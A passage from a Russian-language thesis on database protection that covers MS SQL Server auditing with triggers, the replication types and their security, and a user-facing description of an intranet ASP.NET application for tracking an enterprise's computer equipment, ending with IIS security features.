)        уведомление об изменениях данных. Приложение может хранить на промежуточном или клиентском уровне некоторый объем данных, которые необходимо своевременно обновлять при изменениях в базе. Например, это может быть некий кэш, используемый для ускорения работы, или данные, выводимые на пользовательском интерфейсе. Реализация может сильно различаться в зависимости от решаемой задачи. В некоторых случаях достаточно фиксировать лишь факт операции, в некоторых журнал должен содержать все сведения, вплоть до старых и/или новых значений. Характерным признаком данного класса задач является короткая продолжительность хранения данных в журнале.

)        Типичная ситуация: с некоторой периодичностью запускается процесс, который считывает все изменения из журнала, рассылает уведомления, очищает журнал и отключается.

)        нестандартная репликация используется для синхронизации данных на разных серверах.

Мониторинг - растянутый во времени процесс наблюдения, измерения, сопоставления, записи, оценки, прогнозирования принятия решения о потенциально возможных изменениях состояния системы.

В MS SQL есть средства для мониторинга событий SQL-сервера, одно из таких средств- SQL Prifiler.

Используя SQL Profiler, фиксируем все операции успешные или нет, проводимые с базой. SQL Profiler - универсальный инструмент, который подходит для решения целого ряда административных задач: регистрация удачных или неудачных соединений с сервером, добавлении новых пользователей, смена пароля, отслеживание ошибок и т.д., повышение производительности, обнаружения блокировок, мониторинг изменений в структуре базы и изменений в данных, тестирование приложений и т.д.

Есть сведения о базе, в которой происходит создание или удаление, есть имя объекта, класс события (создание или удаление) и вся необходимая системная информация - имя машины, имя SQL-сервера, приложение, имя пользователя, время и т.д.

Аудит устанавливается в свойствах сервера через Enterprise Manager, закладка Security:

1) None (default) - audit level 0

) Success - audit level 1

) Failure - audit level 2

) All - audit level 3

То же самое можно сделать с помощью расширенной хранимой процедуры:

xp_instance_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\MSSQLServer','AuditLevel', REG_DWORD,2

Сообщения аудита будут записаны в журналы ошибок NT и SQL Server.

Для организации аудита работы пользователей с данными, обычно, на уровне базы данных, встраивают специальные триггеры, с помощью которых отслеживаются команды вставки, удаления и обновления данных для пользовательских таблиц. При разработке триггеров стоит проанализировать следующее[20]:

1.   Таблицы и представления, которым нужен аудит.

2.      Минимальный набор данных, который стоит хранить в таблицах аудита.

.        Ожидаемая хронология данных аудита.

.        Величина дополнительной утилизации ресурсов вашей OLTP системы, вызванная внедрением аудита.

.        Дизайн индексов, представлений и ограничений для таблиц аудита.

В случае же когда необходимо фиксировать события, затрагивающие только существующие записи, либо только некоторых полей таблиц, либо нужна информация не столько о факте изменения, сколько о самих измененных данных, используется журналирование с помощью триггеров.

Необходимая информация:

·        факт операции(успешная или неуспешная попытка)

·              ее вид (INSERT/UPDATE/DELETE)

·              имя сервера

·              имя пользователя, который модифицировал данные

·              имя машины, с которой оно проводилось

·              дата/время модификации

·              название приложения, через которое проводилось данное изменение

·              название таблицы, которую модифицировал пользователь

Создаем таблицу, в которую будем заносить информацию о проделанных пользователем действиях. Создаем хранимую процедуру, через которую будем заносить информацию. Для реализации используем три триггера, по одному на INSERT, DELETE и UPDATE, чтобы дать запас, так как с течением времени требования к журналу могут измениться, их станет все больше, и, чтобы было проще ориентироваться в коде. Реализация на языке SQL приведена в приложении З.

Для сложных представлений, к которым не применим стандартный CRUD доступ, можно вместо обычных триггеров использовать instead-of триггеры, которые позволяют прервать и исследовать на предмет аудита любую CRUD команду на представлении или выполнить другие бизнес - требований.SQL позволяет назначать одной таблице несколько триггеров одного типа. В идеале они должны быть независимы друг от друга, тогда порядок их срабатывания не имеет значения. Но в действительности это не всегда так. Например, может использоваться триггер, который меняет значения некоторых полей у тех же самых записей, на которые делается UPDATE. Если триггер журналирования выполнится перед данным триггером, то в журнал пойдут неизмененные значения, если после него - то измененные. Таким образом, надо следить за порядком срабатывания триггеров, если он имеет значение, для этого используется процедура sp_settriggerorder, которая позволяет назначать первый и последний триггер одного типа.

sp_settriggerorder @triggername= 'update_model_value', @order='last', @stmttype = 'UPDATE'

3.10 Репликация данных

Репликация (replication) - это процесс автоматического распределения копий данных и объектов БД между экземплярами SQL Server с одновременной синхронизацией всей распространяемой информации. Репликация используется в следующих случаях[8]:

·    распространения информации с одного сервера на несколько серверов;

·              сбор информации с нескольких серверов на один сервер;

·              снижение нагрузки с рабочего сервера, снижение сетевого трафика между удаленными серверами;

·              повышение отказоустойчивости, реализация избыточности данных; данные могут быть реплицированы на резервный сервер, который может использоваться для запросов, выполняемых с помощью средств поддержки принятия решений, и предоставлять копию данных при отказе основного сервера;

·              расширение системы за пределы ЛВС; данные, для доступа к которым используется Интернет, могут быть реплицированы на различные серверы в разных географических регионах для равномерного распределения нагрузки между серверами;

В репликации предусмотрены три роли для серверов: распространитель, с помощью которого происходит перекачка данных из одного места в другое; издатель- источник для репликации; подписчик - сервер, который принимает данные от издателя.Server поддерживает три типа. Репликация моментальных снимков это периодическая репликация целостного набора данных, зафиксированного по состоянию на определенный момент времени, с локального сервера на удаленные сервера. Никакого отслеживания происходящих изменений нет. Самый простой и надежный способ, который не всегда может быть эффективным. Лучше использовать этот тип репликации, где количество реплицируемых данных невелико, а источник данных статичен.

Репликация транзакций - это репликация начального моментального снимка данных на удаленные серверы, а также репликация отдельных транзакций, работающих на локальном сервере и выполняющих последовательные изменения данных в начальном моментальном снимке. Эти реплицированные транзакции выполняются над реплицируемыми данными на каждом удаленном сервере для синхронизации данных на удаленном сервере с данными локального сервера. Репликация слиянием- это репликация начального моментального снимка данных на удаленные серверы, а также репликация изменений, происходящих на каком/либо удаленном сервере, обратно на локальный сервер с целью синхронизации, разрешения конфликтов и повторной репликации на удаленные серверы.

Процесс репликации достаточно сложный и он нуждается в защите. Защита процесса репликации реализована на нескольких уровнях. Прежде всего, только члены роли сервера sysadmin, могут конфигурировать и администрировать распространителей, издателей и подписчиков. На уровне базы данных только члены роли сервера sysadmin и фиксированной роли db_owner опубликованной базы могут создавать и конфигурировать публикации и подписки. Только члены роли сервера sysadmin и replmonitor базы распространения могут отслеживать активность процесса репликации. Если используется удаленный распространитель, лучше организовать защищенное соединение между ним и издателем. При соединении используется учетная запись distributor_admin SQL Server.

На втором уровне в целях защиты информации и повышения производительности системы, применять следует фильтрацию публикуемых данных. Фильтровать данные можно по горизонтали или по вертикали. Например, можно исключить из репликации столбцы, содержащие важную информацию или двоичные данные изображений. Фильтры могут быть статическими или динамическими.

Статические фильтры вводят ограничения на публикацию определенных строк или столбцов, и все подписчики получают одинаковые данные (за исключением трансформируемой подписки). С помощью динамических фильтров можно предоставлять разным подписчикам разные наборы данных, основываясь на функциях MS SQL Server (имя пользователя, имя узла).

Выводы

Таким образом, в главе рассмотрены вопросы несанкционированного проникновения в базы данных, угрозы нарушения состояния защищенности, а также способы и средства защиты базы данных на уровне СУБД Microsoft SQL Server, которые были применены на практике. Построенное таким образом необходимое звено защиты применено к производственной базе данных предприятия-заказчика.

4. Программный комплекс

Вторым уровнем, защиту которого необходимо реализовать является защита базы данных на уровне приложения, посредством которого организовано взаимодействие пользователя с базой данных (рисунок 4.1).

Рисунок 4.1 - Уровни защиты базы данных

В области прикладных систем политика информационной безопасности (далее ПИБ) предприятия предусматривает правила работы и реализации программного кода: пользователи прикладных систем, включая технический персонал, должны получать доступ к информационным ресурсам и функциям прикладных систем только в соответствии с принятой политикой контроля доступа, основанной на требованиях по доступу к информационным ресурсам и функциям и соответствующей общей политике контроля доступа. Для обеспечения контроля доступа к прикладным системам и информационным ресурсам в отношении прикладных систем должны быть выполнены требования[29,c.54]:

-  должен присутствовать набор команд по контролю доступа к функциям прикладных систем;

-       документация, представляемая пользователям должны содержать объем информации, необходимый пользователю для выполнения своих функций, без подробного описания всех функций прикладной системы;

-       должен быть реализован контроль прав пользователей на уровне чтения, записи, уничтожения, исполнения;

-       должно быть обеспечено, чтобы вывод конфиденциальной информации осуществлялся бы на соответствующем оборудовании вывода, и доступ к результатам вывода, например, распечатке, был разрешен только авторизованному на работу с данной информацией пользователю, вывод бы осуществлялся только на авторизованные терминалы. При этом периодически необходимо осуществлять контроль за выводимой информацией и ее последующем уничтожением.

Прикладные системы должны:

-   Контролировать доступ пользователей к информации и функциям приложений с соответствиями с требованиями бизнеса и общей политикой контроля доступа;

-       Обеспечивать защиту от несанкционированного доступа со стороны системных средств и утилит, которые могут быть использованы для обходя средств контроля доступа приложений;

-       Не компрометировать прочие системы при совместном использовании информационных ресурсов;

Обеспечивать доступ к информации только для владельцев, других персонифицированных авторизованных пользователей или групп пользователей.

Если прикладная система не обеспечивает выполнение этих требований необходимо обеспечить контроль доступа к самой прикладной системе и ее ресурсам с использованием утилит СЗИ НСД и системных средств.

В соответствии с предъявляемыми требованиями был разработан программный комплекс «Корпоративный учет средств вычислительной техники».

4.1 Назначение программного комплекса

Приложение “Корпоративный учет средств вычислительной техники на предприятии” написано для интрасети и предназначено для ограниченного числа пользователей (только для сотрудников компании, имеющих непосредственное отношение к средствам вычислительной техники). При проектировании программного комплекса “Корпоративный учет средств вычислительной техники” акцент ставился именно на корпоративный принцип реализации задачи с учетом потребности в информации разных служб, задействованных в эксплуатации вычислительной техники. Сгруппирована информация как для материального и инвентарного учета, ремонтно-эксплуатационных технических служб, административная информация, а также справочные данные по основным техническим характеристикам средств ВТ.

Использование вышеуказанных технологий имеет низкие требования, как к автоматизированному рабочему месту клиента, так и к характеристикам сетевого подключения (скорость и устойчивость соединения). При этом вычислительная нагрузка распределяется между сервером приложений и сервером баз данных, а функцией клиентского компьютера является лишь отображение уже сформированных страниц интерфейса задачи.

В большинстве случаев для работы с задачей АРМ клиента не требует никаких предварительных инсталляций и настроек. Ниже приведены минимальные программно-технические требования к персональному компьютеру, исполняющему роль web-клиента (таблица 4.1).

Таблица 4.1 - Минимальные технические требования и программное обеспечение

Отличительные особенности определяемые выбранными средствами разработки:

·        Авторизация при запуске задачи или при регистрации в Windows (Active Directory Windows);

·              Организация гибкого управления правами доступа на уровне СУБД;

·              Тонкий клиент (минимальные требования к техническим характеристикам ПК АРМ, операционной системе, не требует установки);

·              Минимальные требования к скоростным характеристикам сети (возможность работы через модем);

·              Соответствие стандартам SQL 92 и SQL 98 (можно использовать другие СУБД Oracle, InterBase, SyBase);

·              Тюнинг многопроцессорных серверов - оптимальное распределение нагрузки на процессоры при работе с большими объемами информации;

·              Масштабируемость - возможность изменять количество серверов в зависимости от загрузки.

Программный комплекс “Корпоративный учет средств вычислительной техники на предприятии” удовлетворяет следующим требованиям:

·              целостности;

·              конфиденциальности;

·              доступности.

Решение же этих задач достигается за счет использования на прикладном уровне:

1.      Ролевой доступ к данным. Пользователей задачи в зависимости от выполняемых функций можно разделить на группы определяющие права доступа к данным. Такие группы принято называть ролями. Пользователь может входить в несколько таких групп (выполнять несколько ролей). Администраторам задач предоставлены все права доступа к данным (просмотр, добавление, редактирование и удаление), кроме прав на работу(модификацию справочников) со справочниками типов устройств и технических характеристик. Остальные пользователи имеют права в соответствии с выполняемыми должностными обязанностями.

2.      Централизованный материальный учет ВТ предприятия, в том числе и инвентарный, с возможностью предоставления необходимых исходных данных для соответствующего бухгалтерского учета.

.        Контроль целостности и сохранности данных.

4.      Информационное отслеживание полного жизненного цикла средств ВТ:

·              регистрация документов на приобретение и гарантийных данных;

·              автоматизированный инвентарный учет с учетом требований СТП 525.585-2003;

·              подробное описание технических характеристик (ТХ) моделей устройств различных типов;

·              ведение истории перемещения единиц ВТ между структурными подразделениями предприятия и АРМ, а так же истории изменения атрибутов АРМ;

·              регистрацией ремонтно-эксплуатационных событий (модернизация и списание);

·              хранение информации о списанных устройствах в течение 5 лет (по умолчанию);

5.      Предоставление информационно-справочной системы, позволяющей анализировать информацию по различным критериям.

6.      Протоколирование действий пользователей и аудит состояния базы данных.

Это приложение требует защиты на прикладном уровне для идентификации авторизованных пользователей, предотвращения несанкционированного доступа, и соблюдения целостности данных. ASP.NET обеспечивает такую защиту, работая совместно со средствами IIS и подсистемой безопасности Windows, оно предоставляет надежный фундамент для построения защищенных приложений, при этом используются возможности IIS для того, чтобы максимально упростить создание и поддержку работы приложения [31, с.423].

.2 Интерфейс пользователя

.2.1 Авторизация пользователей

Стартовой страницей проекта является страница авторизации пользователей (рисунок 4.2), после прохождения которой, пользователь имеет допуск к данным в соответствии со своими правами доступа.

Рисунок 4.2 - Скриншот формы “Авторизация пользователя”

.2.2 Главное меню

После успешного прохождения регистрации, пользователь наделен определенными правами доступа. Пользователь направляется на страницу «Главное меню» (рисунок 3).

Все режимы работы можно разделить на основные категории:

·     авторизация необходима для определения прав доступа пользователя к определенным данным, в соответствии с ролевыми функциями пользователя в системе;

·              ведение основных баз данных предоставляет возможность повседневного отслеживания информации по текущему состоянию парка ВТ и атрибутов АРМ, а также оперативно получать интерактивные справки с использованием заданных критериев выбора;

·     ведение справочников - эта категория форм предоставляет возможность работать с относительно-постоянной информацией, используемой при формировании основных баз данных;

·     журналы позволяют отследить хронологию жизненного цикла средств ВТ, а также изменения атрибутов автоматизированных рабочих мест;

·     управление позволяет пользователям с соответствующим статусом изменять некоторые глобальные параметры задачи: такие как срок хранения информации по списанным устройствам; изменение паролей служебных учетных записей; задание ролевого доступа к данным пользователям с Windows-аутентификацией и т. д.;

·     отчеты реализуются посредством использования Visual FoxPro, профессионального пакета для формирования отчетов Crystal Reports. Для формирования унифицированных отчетов используется также Microsoft Excel;

·     выход из задачи завершает текущую сессию пользователя на сервере. Его необходимо выполнять в случае завершения работы с задачей или при необходимости зарегистрироваться с другими правами доступа к данным. Следует обратить внимание, что при обычном закрытии окна браузера этого не происходит и остается возможность несанкционированного доступа к данным, кроме того, закрытие сессии освобождает ресурсы сервера.

Группировка по указанным категориям прослеживается в главном меню задачи (рисунок 4.3).

Рисунок 4.3 - Скриншот формы “Главное меню”

4.2.3 Ведение БД перечня устройств средств ВТ

Ведение баз данных средств вычислительной техники является основной формой отображающей текущее состояние парка средств ВТ. Эта форма используется как для получения интерактивных справок, так и для внесения изменений в соответствующую БД (рисунок 4.4).

Заданием комбинаций условий определенных в режиме поиск-фильтр можно локализовать отображение перечня устройств по заданным критериям. Будут отображены только те записи, которые удовлетворяют всем заданным условиям. В форме всегда отображается не более 100 первых записей, даже если количество выбранных записей превышает это число.

Сортировка при отображении в форме выполняется по атрибутам “Тип устройства” и “Инвентарный номер”.

В правой части таблицы напротив каждой записи расположены пиктографические элементы управления, предназначенные для работы с выбранной записью. Краткое описание назначения каждой из пиктограмм определено в заголовке таблицы, но более подробно о выполняемых действиях при выборе элемента управления будет рассказано ниже.

Рисунок 4.4 - Скриншот формы “Ведение БД перечня устройств средств ВТ”

4.2.3.1 Информационные формы

Первые три столбца с пиктографическими элементами управления предназначены для вызова информационных форм. Это, соответственно, “Технические характеристики модели устройства”, “Дополнительной информации об устройстве”, журналы: “Использование в операциях по актам модернизации системных блоков” - для комплектующих и “Перемещения единиц ВТ” - для единиц ВТ.

 - вызов формы отображающей технические характеристики модели соответствующего устройства (рисунок 4.5). Следует отметить, что перечень характеристик определяется типом устройства (HDD, FDD, CD и т. д.), а значения характеристик соответствуют модели выбранного устройства. Перечень характеристик для заданного типа устройств не является фиксированным и, в процессе эксплуатации задачи предусмотрена возможность расширять его, или же наоборот - удалять из перечня малоинтересные характеристики моделей.

Рисунок 4.5 - Скриншот формы технических характеристик модели выбранного устройства

 - посредством этого элемента управления в зависимости от того, является ли выбранное устройство единицей ВТ или же комплектующим, вызываются соответственно формы журналов “Перемещения единицы ВТ” или же “Использование в операциях по актам модернизации системных блоков” (рисунок 4.6). В этих журналах отслеживается история использования выбранного устройства, по которой можно определить, где, кем и в какой момент использовалось соответствующее устройство.

При ведении журналов в рассматриваемой задаче квантом времени являются календарные сутки. Если какое-либо устройство было установлено, а затем изъято в течение одних и тех же суток, то операция изъятия будет считаться исправлением ошибочной установки и ни одной записи в журнале не появится. То же самое касается обратной последовательности - “изъятие / установка”.

Рисунок 4.6 - Скриншот формы “Журнал перемещений единицы ВТ”

 - отображение формы дополнительной информации по выбранному устройству. Эта форма содержит практически всю доп. информацию, которая определена для конкретного экземпляра устройства. В случае если рассматриваемым устройством является системный блок, то здесь же отображается перечень комплектующих входящих в его состав (рисунок 4.7).

Рисунок 4.7- Скриншот формы «Дополнительная информации по экземпляру устройства»

.2.3.2 Модификационные формы

К модификационным формам относятся формы добавления, редактирования, дублирования, удаления и списание устройств и форма компоновки системного блока.

Добавление нового устройства.

Вызов формы “Добавление нового устройства” выполняется посредством клавиши “Добавить устройство” расположенной в шапочной части формы “Ведение БД средств ВТ” (рисунок 4.4). Форма представлена на рисунке 4.8. Заполнение реквизитов рекомендуется выполнять в той последовательности, в которой они следуют в форме (сверху вниз) так как имеются иерархически-взаимосвязанные поля это “Тип устройства”, “Фирма-производитель” и “Модель устройства”. Эти атрибуты и атрибут “Фирма-поставщик” выбираются только из соответствующих справочников. При отсутствии в предложенных списках необходимых данных требуется занести информацию в соответствующие справочники. После этого они появятся в списках и могут быть использованы также и для добавления других экземпляров устройств.

Следует обратить внимание, что модификация справочника типов устройств является очень редким событием и в тоже время ответственным, так как определяет такие параметры устройства как “Перечень технических характеристик” и является базовым для перечня моделей устройств соответствующего типа. На использовании этих данных строятся отчеты, которые могут быть нарушены при удалении каких-либо важных параметров, например, таких как “частота процессора” или “Объем ОЗУ”. По этой причине разработчик задачи оставляет только за собой право модифицировать справочники типов устройств и перечня технических характеристик по первому требованию администратора базы данных.

Серийные и инвентарные номера контролируются на уникальность. Получить минимальный не использовавшийся инвентарный номер можно посредством клавиши “Сгенерировать”.         Для ввода серии однотипных устройств гораздо удобнее пользоваться формой “дублирование устройства”, чем “добавление устройства”. При этом возможно потребуется подправить только серийные и инвентарные номера и не придется заносить всю информацию “с нуля”. Особенно это ощутимо будет при добавлении новых системных блоков. Дублирование системных блоков выполняется с полным перечнем комплектующих и одна операция дублирования заменит серию добавления новых устройств, входящих в системный блок и операции его компоновки.

Рисунок 4.8 - Скриншот формы “Добавление нового устройства”

Редактирование устройства.

 - вызов формы редактирования устройства (рисунок 4.9), соответствующего выбранной записи в форме “Ведение БД средств ВТ” (рисунок 4.4).

Рисунок 4.9 - Скриншот формы “Редактирование устройства”

Дублирование устройства.

 - вызов формы дублирования устройства (рисунок 4.4), соответствующей выбранной записи в форме “Ведение БД средств ВТ” (рисунок 4.10).

Рисунок 4.10 - Скриншот формы “Дублирование устройства”

Удаление устройства.

- вызов процедуры удаление ошибочно добавленных устройств. При работе с задачей нужно четко различать процедуры списания и удаления устройств. В логике задачи предполагается, что удаление необходимо выполнять исключительно только в ситуациях, когда какое-либо из устройств было добавлено ошибочно. Вся информация по списанным устройствам хранится в задаче в течение заданного регламентом времени и при необходимости можно обращаться к этим данным (например, при расчете затрат на приобретение за определенный период). При удалении все данные об устройстве теряются без возможности восстановления. Если удаляемое устройство относится к категории комплектующих системного блока, то при выполнении операции удаления оно не должно входить в системный блок, а единицы средств ВТ не должны входить в АРМ. При выполнении операции удаления выдается соответствующее предупреждение (рисунок 4.11).

Рисунок 4.11 - Скриншот формы «Запрос на подтверждение удаления выбранного устройства»

Компоновка системного блока.

- вызов формы компоновки системного блока (рисунок 4.12) соответствующего выбранной записи в форме “Ведение БД средств ВТ” (рисунок 4.4).Перед выполнением компоновки системного блока рекомендуется убедиться в том, что все комплектующие, предназначенные для включения в системный блок, существуют в базе данных.

Под блоком информации атрибутов акта модернизации последовательно располагается три таблицы - это соответственно “Незадействованные комплектующие”, “Комплектующие в составе системного блока” и “Выполненные операции по акту модернизации”. Процедура компоновки системного блока состоит из операций “добавления” и “исключения” комплектующих из системного блока.

Незадействованные комплектующие - это комплектующие для системных блоков (мат. платы, жесткие дики, модули памяти и. д.), которые заведены в базе, но не прикреплены ни к одному системному блоку. Для локализации незадействованных комплектующих по их типам предусмотрен простой фильтр расположенный рядом с заголовком таблицы. Для того чтобы увидеть все незадействованные устройства достаточно указать в списке “Все” (всегда самый первый элемент). Самая правая колонка таблиц “Незадействованные комплектующие” и “Комплектующие в составе системного блока” является управляющей. Напротив каждой записи в таблице расположены кнопки операций. Чтобы добавить устройство в компонуемый системный блок необходимо в таблице “Незадействованные комплектующие” напротив выбранного устройства нажать кнопку “Добавить”. При этом запись выбранного устройства тут же будет перенесена в таблицу “Комплектующие в составе системного блока”. Для изъятия устройства нужно нажать кнопку “Исключить” напротив выбранного устройства в таблице “Комплектующие в составе системного блока”. После чего выбранная запись переместится в таблицу “Незадействованные комплектующие”.

Количество выполненных операций по одному акту модернизации неограниченно. Но как уже говорилось ранее - квантом времени в задаче являются календарные сутки. Если в течение суток одно и то же устройство было добавлено, а затем изъято из одного и того же системного блока, то выполненные операции будут аннулированы. Вторая операция будет считаться исправлением ошибочно-выполненной первой операции. При этом в журнале операций актов модернизации системных блоков эти операции отображены не будут.

После завершения работы с формой настоятельно рекомендуется использовать клавишу “Закрыть”, а не системный управляющий значок в правом верхнем углу закрытия окна. Это необходимо для своевременного завершения транзакции по выполненным операциям.

Рисунок 4.12 - Скриншот формы “Компоновка системного блока”

Списание / отмена операции списания устройства.

 - выполнение процедуры списания или отмены списания устройства. Так же как и при выполнении операции удаления, устройство не должно входить в системный блок, если оно относится к категории комплектующих, и не должно входить в АРМ - если это единица средств ВТ. При выполнении списания системного блока все комплектующие в его составе также будут считаться списанными. Информация по списанным устройствам хранится в течение заданного регламентом периода времени. При выполнении процедуры списания появляется запись в журнале актов списания. Номер акта списания присваивается автоматически и является сквозным для всех устройств. Процедура списания предполагает возможность восстановления списанного устройства. По-умолчанию информация по списанным устройствам не отображается в форме “Ведение БД перечня устройств средств ВТ” (рисунок 4.4), но данные по списанным устройствам можно посмотреть, выбрав соответствующий режим поиск - фильтра этой формы. При выполнении процедуры отмены списания устройства (это может быть только в том случае, если списание было выполнено ошибочно) запись в журнале актов списания уничтожается.

4.2.4 Ведение БД автоматизированных рабочих мест

Для ведения базы данных автоматизированных рабочих мест (АРМ) предназначена форма изображенная на рисунке 4.13, доступ к которой можно получить из главного меню (рисунок 4.3).

В информационном поле формы отображаются непосредственно атрибуты автоматизированных рабочих мест, и каждая запись соответствует описанию одного АРМ. Для локализации требуемых данных по заданным критериям предложен поиск - фильтр, который расположен в шапочной части формы. В форме всегда отображается не более 100 записей, даже если количество выбранных записей превышает это число.

Рисунок 4.13 - Скриншот формы “Ведение БД АРМ”

Напротив каждой записи справа располагаются пиктографические элементы управления, о назначении каждого из элементов будет далее рассказано далее.

Все основные манипуляции с базой данных АРМ (добавление, изменение и удаление записей) выполняются в основной форме.

Для добавления новых записей предназначена клавиша “добавить”, расположенная в шапочной части формы. Операции изменения атрибутов выбранного АРМ соответствует пиктографический элемент управления, имеющий значок -. а удаление выполняется посредством элемента со значком - .

Все операции добавления новых записей и изменения атрибутов АРМ автоматически регистрируются в соответствующем журнале с указанием даты внесения изменений. По этому журналу при необходимости можно будет отследить историю изменения таких атрибутов как ФИО отв. лица, местоположение АРМ.

.2.4.1 Модификационные формы

К модификационным формам относятся формы добавления, редактирования, дублирования, удаления и форма компоновки АРМа.

Добавление нового АРМа и редактирование атрибутов АРМа.

Для добавления новых записей предназначена кнопка “Добавить. Для редактирования атрибутов АРМ предназначена соответствующая пиктограмма “Редактирование”.

Все операции добавления новых записей и изменения атрибутов АРМ автоматически регистрируются в соответствующем журнале, с указанием даты внесения изменений. По этому журналу при необходимости можно будет отследить историю изменения таких атрибутов как ФИО отв. лица, местоположение АРМ.

Компоновка АРМ.

 - вызов формы компоновки выбранного АРМ с формы “Ведение БД автоматизированных рабочих мест”. Форма компоновки АРМ (рисунок 4.14) предназначена как для просмотра единиц ВТ в составе АРМ, так и для изменения укомплектованности АРМ.

По принципу организации эта форма похожа на форму компоновки системных блоков. Сверху вниз в форме размещены следующие данные: краткая информация по выбранному АРМ, атрибуты журнала укомплектованности АРМ, незадействованные единицы ВТ, единицы ВТ в составе АРМ и выполненные операции изменения укомплектованности в течение текущих суток.

Прежде чем приступить к выполнению операций изменения укомплектованности АРМ необходимо заполнить обязательные поля атрибутов журнала. В противном случае система не даст выполнить операции модернизации АРМ.

Данные по незадействованным единицам средств ВТ, если их много, могут быть для удобства работы локализованы посредством простого фильтра расположенного рядом с заголовком таблицы незадействованных единиц ВТ.

Процедура изменения укомплектованности АРМ заключается в выполнении операций добавления в АРМ и изъятия из АРМ выбранных устройств посредством соответствующих кнопок. Все выполненные в течение текущих суток операции отображаются в таблице расположенной в нижней части формы. Если в течение суток одно и то же устройство было добавлено, а затем изъято из одного и того же АРМ, то выполненные операции будут взаимно аннулированы. Вторая операция будет считаться исправлением ошибочно-выполненной первой операции. При этом в журнале изменения укомплектованности АРМ эти операции отображены не будут.

Рисунок 4.14 - Скриншот формы “Компоновка автоматизированного рабочего места”

Перемещение устройства (кнопка «Переместить») с одного АРМа на другой - это еще одна возможность управления составом АРМ. С помощью этой операции, можно избежать нескольких действий (изъятие устройства из состава конкретного АРМ, переход на форму “Введение БД АРМ”, выбор АРМа, на который хотели установить только что удаленное устройство).

Для того, что осуществить операцию перемещения устройства, необходимо выбрать устройство из таблицы единиц ВТ, входящих в состав АРМ, и нажать кнопку “Переместить”, на нажатие которой открывается форма “Перемещение устройства”. В верхней части формы располагается информация об исполнителе и принимающем, ниже приведен список существующих АРМ. Чтобы установить устройство, необходимо выбрать АРМ из списка (причем номер АРМа, с которого производится операция перемещения, не должен совпадать с номером АРМа принимающего) и нажать кнопку “Установить”. В журнал изменения укомплектованности записывается сразу две записи: одна - на установку устройства, другая - на изъятие.

Удаление АРМ.

При ликвидации АРМ (кнопка “Удалить”) или исправлении ошибочной операции добавления необходимо убедиться в том, что за выбранным АРМ нет закрепленного оборудования. В противном случае система не даст удалить запись.

4.2.5 Ведение справочных баз данных

В рассматриваемой задаче все справочные базы данных являются активными, т. е. при работе с формами вся информация отображается напрямую из соответствующих справочных баз данных. Этим достигается отсутствие дублирования данных. При выполнении корректировки в справочных БД нужно это учитывать.

Допускается при необходимости выполнять корректировку определенных записей в справочниках не изменяющую их смысловую нагрузку. Например, при добавлении новой модели устройства необходимо добавить новую запись в справочник моделей устройств, но нельзя путем корректировки существующей записи в этом справочнике заносить информацию о новом устройстве, так как могут быть экземпляры устройств, которые ссылаются на информацию в корректируемой записи справочника и данные будут фальсифицированы.

Справочники вызываются из главного меню. Все справочники (справочник типов устройств, справочник фирм-производителей, справочник моделей устройств, справочник фирм-поставщиков, справочник шифров оборудования, справочник шифров подразделений предприятия, справочник классификации типов оборудования) разработаны по одной схеме, поэтому достаточно показать на одном примере. Справочник типов устройств изображен на рисунке 4.15. При добавлении нового типа устройств необходимо определить также его основных технические характеристики (ТХ). В процессе эксплуатации также можно добавлять и удалять технические характеристики устройства, но при удалении ТХ нужно учитывать, что все значения удаляемых ТХ будут также безвозвратно удалены. Справочник шифров подразделений использует информацию из Общероссийского классификатора основных фондов ОК 013-94 от 26.12.94.

Если будет существовать хоть один экземпляр устройства для выбранного на удаления типа устройства, то система запретит выполнение этой операции и выдаст на экран монитора соответствующее сообщение.

Рисунок 4.15 - Скриншот формы “Справочник типов устройств”

4.2.6 Журналы

Вызываются из главного меню, все журналы (журнал изменений атрибутов АРМ, журнал изменений укомплектованности АРМ, журнал актов модернизации системных блоков, журнал актов списания средств ВТ) разработаны по одной схеме, поэтому достаточно показать на одном примере. Журнал изменений атрибутов АРМ позволяет отслеживать историю по изменениям атрибутов АРМ с момента его организации (рисунок 4.16).

Рисунок 4.16 - Скриншот формы “Журнал изменений атрибутов АРМ”

В отличие от остальных журналов, журнал событий базы данных (рисунок 4.17) предоставляет администраторам задачи возможность просмотра событий, происходящих с базой данных. Происходит так называемый пассивный аудит базы данных, когда администратор может отследить все действия, которые пользователи осуществляют с данными. Предоставляет такую информацию о пользователе, как:

·        факт операции (успешная или неуспешная попытка)

·              ее вид (INSERT-добавление/UPDATE-модификация/DELETE-удаление)

·              имя сервера

·              имя пользователя, который модифицировал данные

·              имя машины, с которой оно проводилось

·              дата/время модификации

·              название приложения, через которое проводилось данное изменение

·              название таблицы, которую модифицировал пользователь.

Рисунок 4.17 - Скриншот формы “Журнал событий БД СВТ”

4.2.7 Управление

Настройки предопределяют возможность изменять режимы работы задачи такие как: срок хранения (в годах) списанных устройств, время жизни сессии задачи при простое и другое. Изменение пароля пользователя предоставляет возможность пользователям самостоятельно изменять пароли для регистрации в задаче (рисунок 4.18).

Рисунок 4.18 - Скриншот формы «Изменение пароля пользователя»

.3 Реализация защищенного взаимодействия клиента с базой данных по средством программного комплекса

На прикладном уровне Web-защита связана в основном с защитой данных, чтобы их не могли просматривать и изменять данные неавторизованные пользователи. Например, только руководители имеют право просматривать информацию, связанную с объемом денежных средств, затраченных на приобретение средств ВТ, и только администраторы задачи могут вносить изменения в базу данных. Любая форма защиты требует от приложения двух очевидных действий:

·   определение источника каждого запроса;

·              определение правил, задающих права доступа к страницам.

Web-сервер осуществляет идентификацию обращающихся к нему пользователей с помощью аутентификации. После того, как пользователь идентифицирован, авторизация поддерживает разные модели аутентификации и авторизации. Понимание набора доступных возможностей и их взаимосвязь- первый шаг в проектировании защищенного приложения.

.3.1 Средства защиты IIS

IIS- это Web-сервер, основная задача которого - устанавливать соединения с удаленными клиентами и отвечать за http-запросы, поступающие по этим соединениям. Большинство запросов - это http-команды GET и POST, запрашивающие html-файлы, aspx-файлы и ресурсы файловой системы. Для защиты содержимого сервера IIS предоставляет четыре механизма:

·     web-приложения размещаются в виртуальных каталогах, адресуемых с помощью URL; удаленные клиенты не могут произвольно обращаться к файлам вне виртуальных каталогов и их подкаталогов

·              каждому запросу присваивает маркер доступа, описывающий пользователя Windows; этот маркер позволяет операционной системе проверять права доступа к файловой системе тех ресурсов, к которым обращается запрос

·              поддерживает ограничения по IP-адресам и именам доменов, что позволяет предоставлять или нет доступ на основании IP-адреса или домена поступившего запроса

